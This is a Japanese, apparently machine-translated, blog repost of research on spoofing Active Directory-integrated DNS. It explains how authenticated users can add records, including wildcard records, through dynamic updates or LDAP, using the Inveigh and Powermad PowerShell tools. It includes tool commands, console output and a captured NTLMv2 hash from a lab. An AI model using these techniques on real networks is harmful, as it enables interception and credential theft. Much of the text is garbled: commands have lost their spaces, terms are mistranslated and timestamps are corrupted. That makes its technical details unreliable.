Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863100761

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

名前解像度プロトコルで欠陥を使用したイントラネット浸透は、中間(MITM)攻撃を実行するための一般的な手法です。 2つの特に脆弱な名前解像度プロトコル、Link-Native Multicast Name Resolution(LLMNR)とNetBios Name Service(NBNS)があります。攻撃者は、これらの2つのプロトコルを活用して、DNSなどのより高い優先度の解像度方法では回答できないリクエストに応答できます。 LLMNRおよびNBNSは、Active Directory(AD)環境でデフォルトで有効になります。これにより、このタイプのスプーフィング攻撃は非常に効果的な方法になり、ドメインへの初期アクセスを取得するだけでなく、脆弱性の後期搾取中のドメイン許可を強化します。この攻撃技術をイントラネット浸透シナリオで使用するために、PowerShellベースのLLMNR/NBNSスプーフィングツールであるInveighツールを開発しました。

psc: \ users \ kevin \ desktop \ inveighinvoke-inveigh-consoleoutputy

[*] inveigh1.4devstartedat2018-07-05t22:29336035

[+] ElevatedPrivileGeMode=enabled

[+] PrimaryPaddress=192.168.125.100

[+] llmnr/nbns/mdns/dnsspooferipaddress=192.168.125.100

[+] llmnrspoofer=enabled

[+] nbnsspoofer=enabled

[+] smbcapture=enabled

[+] httpcapture=enabled

[+] httpscapture=disabled

[+] http/httpsauthentication=ntlm

[+] wpadauthentication=ntlm

[+] WPADDEFAULTRESPONSE=ENABLED

[+] realtimeConsoleOutput=enabled

警告: [!] runstop-inveightestopoptop

[*] PressanyKeyTostostoprealTimeConsoleOutput

[+] [2018-07-05T222:29:53] llmnrrequestforbadrequestreceivedfrom192.168.125.102 [応答]

[+] [2018-07-05T22:29:53] smbntlmv2challenge/responsecaptured from192.168.125.102(Inveigh-WKS2):

Testuser1:3360INVEIGH:3E834C6F9FC3CA5B:CBD38F1537AAD7D39CE6A5BC5687373A:0101 00000000000000000071ADB439D114D401D5B48AB8C3EC8E010000000000002000E0049004E005600450049004700480 00100180049004E00560045004900470048002D0057004B00530031000400160069006E0076006500690067006 8002E006E00650074000300049006E00760065006900670068002D0057004B00531002E0069006E00760 065006900670068002E006E00650074000500160069006E00760065006900670068002E006E006500740007000 80071ADB438D114D4010600040002000000080030003000000000000000000000002000004FC481EC79C5F6B B2B29A2C828A02EC028C9FF563BE5D9597D51FD6DF29DC8BD0A001000000000000000000000000000000000000 9001E0063006900660073002F00620061006400720065007100750065007300740000000000000000000000000000

Inveighの開発プロセス全体で、ドメイン環境で多くの実験を実施し、さまざまなレベルの許可の観点から、LLMNR/NBNSスプーフィング攻撃プロセスを詳細に研究しました。 Inveighの更新の多くは、実際に他の特権ベースの使用機能を実装しようとしています。

最近、Inveigh以外のいくつかの研究作業は、私の心に困難な問題を引き起こしています。既にドメインへの非主要なアクセスがある場合、LLMNR/NBNSスプーフィングを行うのに最良の方法ですか、それとも名前解像度ベースのMITM攻撃を実行することもできますか?この質問に対する答えを得るために、私は疑わしいADロール構成を常に研究しています。これにより、質問に対する答えを見つけるためのインスピレーションを与えてくれました。

名前解決順序

この記事の目的のために、LLMNR/NBNSスプーフィングに関する2つの重要な部分を簡単に紹介します。まず、LLMNRおよびNBNSリクエストは、ルーターベースのトラフィックルーティングを実装することなく、それぞれ単一のマルチキャストまたはブロードキャストドメインに含まれています。これにより、潜在的な特権的なスプーフィング攻撃の対象となる侵入システムとセッションの影響の範囲を大幅に制限できます。第二に、デフォルトでは、Windowsシステムは、ネットワークプロトコルに基づいて名前解決を介して要求を解決しようとするときに次の優先リストを使用します。

1.DNS

2.llmnr

3.nbns

DNSは攻撃全体の一部として直接悪用されていませんが、リクエストをLLMNRまたはNBNSに引き渡すことができるため、DNSは実際にLLMNR/NBNSスプーフィングの有効性に大きな影響を与えます。基本的に、名前リクエストがDNSにリストされているレコードと一致する場合、クライアントは通常、LLMNRおよびNBNSを介して要求を解決しようとしません。

攻撃を実行するとき、ネットワークベースの名前解像度プロトコルの階層に対応する解像度順序を本当に満たす必要がありますか? DNSで直接解決する簡単な方法はありますか?ドメインには非主要なアクセスのみがあることを忘れないでください。この制限に基づいて攻撃を完了するために使用しなければならないものを見てみましょう。

Active Directory統合DNSゾーン

ドメインコントローラーとAdidnsゾーンは常に一緒に表示されます。通常、各ドメインコントローラーにはアクセス可能なDNSサーバーがあり、少なくともデフォルトのADIDNSゾーンをホストしています。

私が強調したい最初のデフォルト設定は、ADIDNSゾーンの自律アクセス制御リスト(DACL)です。

上の画像から、「認証されたユーザー」でデフォルトで領域がリストされていることがわかります。「すべての子オブジェクトの作成」があります。認証されたユーザーのドメイン名への操作のしきい値は非常に低いです。もちろん、これらのユーザーが操作できるドメイン名には、アクセスに特権を必要としないターゲットも含まれます。しかし、この機能をどのように活用できるか、そしてそれで何ができるかを明確にする必要がありますか?

adidnsゾーンを変更します

adidnsゾーンをリモートで変更する主な方法は2つあります。 1つ目は、RPCベースの管理ツールを使用することです。これらのツールを実行するには、通常、DNS管理者またはより高い権限が必要なので、これらのツールの機能については説明しません。 2番目の方法は、DNSダイナミックアップデートです。動的更新は、DNSゾーンの変更に特別に使用されるDNS固有のプロトコルです。広告の世界では、動的更新は主にコンピューターアカウントで使用され、独自のDNSレコードを追加および更新します。

これにより、関心のあるADIDNSゾーンの別のデフォルト設定、安全な動的アップデートの有効な状態になります。

動的アップデート

昨年、このデフォルト設定を延期中にこのデフォルト設定を簡単に活用できるようにするために、Invoke-Dnsupdateと呼ばれるPowerShell DNSダイナミックアップデートツールを開発しました。

PSC: \ users \ kevin \ desktop \ powermadinvoke-dnsupdate-dnstypea-dnsmatest-dnsdata192.168.125.100-verbose

Verbose: [+] Tkeyname648-MS-7.1-4675.57409638-8579-11E7-5813-000C296694E0

verbose: [+] kerberospreauthenticationsuccessful

verbose: [+] kerberostkeyquerysuccessful

[+] dnsupdatesuccessful

DNSレコードにアクセス許可を適用する方法を理解したら、安全な動的更新にルールを使用することは非常に簡単になります。ゾーンに一致するDNSレコード名がない場合、認証されたユーザーは対応するDNSレコードを作成できます。作成者アカウントは、DNSレコードの所有権または完全な制御を獲得します。

DNSゾーンに一致するレコード名が既に存在する場合、ユーザーが管理者である場合など、ユーザーが必要なアクセス許可を持っている場合を除き、認証されたユーザーはレコードの変更または削除を禁止されます。 DNSレコードの代わりにDNSレコード名を使用していることに注意してください。この点で、標準のDNSビューは混乱を招く可能性があります。実際、権限は、DNSコンソールで表示されている単一のDNSレコードではなく、DNSレコード名に基づいて適用されます。

たとえば、管理者が「テスト」という名前のレコードを作成した場合、非適切なアカウントは、DNSループセットアップの一部として「テスト」という名前の2番目のレコードを作成できません。これは、複数のDNSレコードタイプにも適用されます。デフォルトがDNSゾーンのルートゾーンにレコードが存在する場合、両方のレコードが内部的に「@」という名前のために、非特徴のアカウントはDNSゾーンのルートMXレコードを作成できません。この記事では、DNSレコードを別の観点から見ていきます。これは、名前でグループ化されたAdidnsレコードのより良い見解を提供します。

以下は、KerberosやLDAPなどの広告サービスに影響を与えないようにするためのデフォルトのレコードです。

非主要なユーザーの動的な更新を通じて作成できるレコードの種類にはほとんど制限はありません。作成できるタイプは、Windows Server Dynamic Updateの実装によってサポートされているタイプに限定されます。最も一般的なレコードタイプは一般的にサポートされています。 Invoke-DnSupdateは現在、A、AAAA、CNAME、MX、PTR、SRV、およびTXTレコードをサポートしています。一般に、DNSレコードを追加することが存在しておらず、DNSレコードの追加に値する場合、攻撃者は確実に別々のセキュリティ動的更新を悪用することができます。

動的更新を備えたLLMNR/NBNSスプーフィングをサプリメントします

セキュリティの動的更新を兵器化し、LLMNR/NBNSスプーフィングのように実行できるようにするために、受信したLLMNR/NBNSリクエストに合わせて対応するためにレコードをADIDNSに注入する方法を検討しました。理論的には、LLMNR/NBNSにドロップできるDNSには記録がないはずです。したがって、これらのレコードでは、認証されたユーザーが作成する必要があります。この方法は、イントラネットでは一般的ではない、または要求された1回だけの名前には実用的ではありません。ただし、LLMNR/NBNSを介して同じリクエストが表示され続けると、DNSにそのレコードを追加することが役立つ場合があります。

このテクノロジーのバリエーションは、今後のInveighバージョンに含まれています。 Inveighが複数のシステムから同じLLMNR/NBNSリクエストを検出した場合、一致するレコードをADIDNSに追加できます。このアプローチは、システムがDNSに存在しなくなった古いホストに対してLLMNR/NBNS名解像度要求を送信する場合に効果的です。サブネット内の複数のシステムが特定の名前を解決しようとしている場合、外部システムが同じ名前を解決しようとする可能性もあります。この場合、adidnsの注入は、攻撃をサブネット境界に拡張するのに役立ちます。

PSC: \ users \ kevin \ desktop \ inveighinvoke-inveigh-consoleoutputy-dnsy-dnsthreshold4

[*] inveigh1.4devstartedat2018-07-05t22:32:37

[+] ElevatedPrivileGeMode=enabled

[+] PrimaryPaddress=192.168.125.100

[+] llmnr/nbns/mdns/dnsspooferipaddress=192.168.125.100

[+] llmnrspoofer=enabled

[+] dnsinjection=enabled

[+] smbcapture=enabled

[+] httpcapture=enabled

[+] httpscapture=disabled

[+] http/httpsauthentication=ntlm

[+] wpadauthentication=ntlm

[+] WPADDEFAULTRESPONSE=ENABLED

[+] realtimeConsoleOutput=enabled

警告: [!] runstop-inveightestopoptop

[*] PressanyKeyTostostoprealTimeConsoleOutput

[+] [2018-07-05T222:32:52] llmnrrequestfordnsinjecteivedfrom192.168.125.102 [応答]

[+] [2018-07-05T22:00] llmnrRrequestfordnsinjecteivedfrom192.168.125.100 [Responsesent]

[+] [2018-07-05T222:35:00] llmnrrequestnsinjed receivedfrom192.168.125.104 [Responsesent]

[+] [2018-07-05T222:41:00] llmnrRrequestnsinjecteivedfrom192.168.125.105 [Responsesent]

[+] [2018-07-05T222:50336000] llmnrrequestfordnsinjecteivedfrom192.168.125.106 [Responsesent]

警告: [!] [2018-07-05T22:33333:01] dns(a)Recordfordnsinjectadded

方法を覚えておいてください

Protocol自体や、理想的なセキュリティダイナミックアップデート攻撃を見つけようとするときに既に存在するデフォルトのDNSレコードに困難がありました。前述のように、私はInveighで動的更新攻撃を実装することを計画していたので、浸透テストでこの手法をどのように使用するかについてもっと考え始めました。侵入テスターがこの攻撃が機能することを確認するのを支援するために、私は、非主要なアカウントのコンテキストを通じてadidnsゾーンのアクセス許可を表示できるPowerShell関数を作成することが役立つことに気付きました。しかし、管理者のみが使用許可を持っているツールを使用しない場合、DACLSをリモートで列挙できますか? Adidnsの研究に関与していなかった私の脳の部分はすぐに答えました:「DNSゾーンはADに保存され、LDAPを介してDACLを見てください」。

ldap…

.使用していないDNSゾーンを表示する別の方法があるようです。

ネットワーク管理者としての仕事中に遭遇したかもしれないことを思い出し、Adidnsゾーンは現在domaindnszonesまたはforestdnszonesパーティションに保存されていることを発見しました。

LDAPは、「認証されたユーザー」が動的更新に依存することなくAdidnsゾーンを変更する方法を提供します。 DNSNodeクラスのADオブジェクトを作成することにより、LDAPを介してADIDNSゾーンにDNSレコードを直接追加できます。

この簡単な理解で、私は今、私が追いかけていたDNS攻撃を実行する方法があります。

ワイルドカードレコード

WildCardレコードにより、DNSはLLMNR/NBNSスプーフィングと非常によく似た方法で実行できます。ワイルドカードレコードが作成された後、DNSサーバーはレコードを使用して、ゾーンに含まれるレコードの名前リクエストに応答しますが、明示的に一致しません。

psc: \ users \ kevin \ desktop \ powermadresolve-dnsnamednsrecord

NameTypettlSectionIpAddress

--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -

nodnsrecord.inveigh.neta600answer192.168.125.100

LLMNR/NBNSとは異なり、WildCard Recordsは、ADIDNSゾーンに一致する完全に適格な名前のリクエストも解決します。

PSC: \ users \ kevin \ desktop \ powermadresolve-dnsnamenodnsrecord2.inveigh.net

NameTypettlSectionIpAddress

--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -

nodnsrecord2.inveigh.neta600answer192.168.125.100

WildCardレコードを使用して注入する私のプロセスは、動的更新自体のいくつかの制限によってブロックされています。動的な更新の場合、少なくともWindowsシステムは、実装されたときに「*」文字を正しく処理していないようです。ただし、LDAPには同じ問題はありません。

psc: \ users \ kevin \ desktop \ powermadnew-adidnsnode*-verbose

verbose: [+] domaincontroller=inveigh-dc1.inveigh.net

verbose: [+] domain=inveigh.net

verbose: [+] adidnszone=inveigh.net

Verbose: [+] DistinguishedName=dc=*、dc=inveigh.net、cn=microsoftdns、dc=domaindnszones、dc=inveigh、dc=net

verbose: [+] data=192.168.125.100

Verbose: [+] DNSRecordArray=04-00-01-00-05-F0-00-00-00-BA-00-00-00-00-02-58-00-00-00-00-22-D8-37-00-C0-A8-7D-64

[+] adidnsnode*追加

名前

研究のペースを取り戻し、DNSノードがAdidnsレコードを形成するためにどのように使用されるかを見てみましょう。 ADIDNSレコードの主な構造は、DNSRecordプロパティに保存されます。この属性は、レコードタイプ、宛先IPアドレス、ホスト名などの要素、および静的および動的分類などの要素を定義します。

名前以外のすべての主要なレコードの詳細は、DNSRecordに保存されます。興味がある場合は、MS-DNSPのプロパティ構造に関する詳細情報を見つけることができます。

A、AAAA、CNAME、DNAME、MX、NS、PTR、SRV、TXTなどのこれらのレコードタイプのDNSRecord配列を作成できるNew-DNSRecordArrayというPowerShell関数を作成しました。

PSC: \ users \ kevin \ desktop \ powermad $ dnsrecord=new-dnsrecordarray-typea-data192.168.125.100

PSC: \ users \ kevin \ desktop \ powermad [system.bitconverter] :toString($ dnsrecord)

04-00-01-00-05-F0-00-00-BA-00-00-00-00-00-02-58-00-00-00-00-79-D8-37-00-C0-A8-7D-64

前に述べたように、LDAPは、DNSレコードのマッチング名がどのようにまとめられているかを確認する方が良いと考えています。単一のDNSノードには、DNSRecordプロパティに複数の行を含めることができます。各行は、同じ名前の個別のDNSレコードを表します。以下は、「@」という名前のノードのDNSRecordプロパティに含まれる複数のレコードの例です。

既存のプロパティ値を上書きする代わりに、最後にAppendingを使用することにより、新しい行をNodeのDNSRecordプロパティに追加できます。 PowerShell関数編集用に作成したPowerShell関数Set-AdidnsNodeattributeには、これを行うために使用できる「追加」スイッチがあります。

同期と複製

LDAPを介してAdidNSゾーンを変更すると、LDAPにノードを追加することとDNSでのそのレコードの発生との間に遅延が見つかる場合があります。これは、DNSサーバーのサービスがADIDNSゾーンの独自のメモリコピーを使用しているためです。デフォルトでは、DNSサーバーは180秒ごとにADでメモリのコピーを同期します。

大規模なマルチサイトADインフラストラクチャでは、ドメインコントローラーの複製時間が、Adidnsのスプーフィング攻撃を開始するための要因とタイミングになる可能性があります。エンタープライズイントラネットでは、追加するレコードの影響の範囲を完全に拡張および利用するために、攻撃時間は複製遅延時間を延長する必要があります。デフォルトでは、サイト間の複製には最大3時間かかる場合があります。遅延を減らすために、最大の攻撃効果を持つDNSサーバーを見つけることで攻撃を開始できます。イントラネット環境で各DNSサーバーにレコードを追加し、レプリケーションが機能する前にジャンプすることは、複製が完了すると、ADは重複オブジェクトを並べ替える必要があることを忘れないでください。

SOAシリアル番号

ADIDNSゾーンを使用する際に考慮すべきもう1つの要因は、ネットワーク上の他の統合DNSサーバーの存在の可能性です。サーバーがスレーブDNSゾーンをホストする場合、シリアル番号を使用して、変更が発生したかどうかを判断します。幸いなことに、LDAPを介してDNSノードを追加すると、シーケンス番号が増加します。増分シーケンス番号をノードのDNSRecord配列に含める必要があり、スレーブエリアをホストするサーバーにレコードをコピーできるようにします。領域のSOAシーケンス番号は、すべてのノードのDNSRecord属性にリストされている最高の数字です。ここでは、SOAシーケンス数は1のみで増分され、領域のシーケンス数が不必要に増加するのを防ぐことに注意する必要があります。 New-SoaserialNumberArrayと呼ばれるPowerShell関数を作成し、プロセスを簡素化しました。

psc: \ users \ kevin \ desktop \ powermadnew-soaserialnumbumberarray

62

0

0

0

SOAシリアル番号は、nslookupを通じて取得することもできます。

PSC: \ users \ kevin \ desktop \ powermadnslookup

DefaultServer:Unknown

address:192.168.125.10

setType=SOA

Investeigh.net

server3360Unknown

address:192.168.125.10

Investeigh.net

PrimaryNamesErver=inveigh-dc1.inveigh.net

ressionblemailaddr=hostmaster.inveigh.net

シリアル=255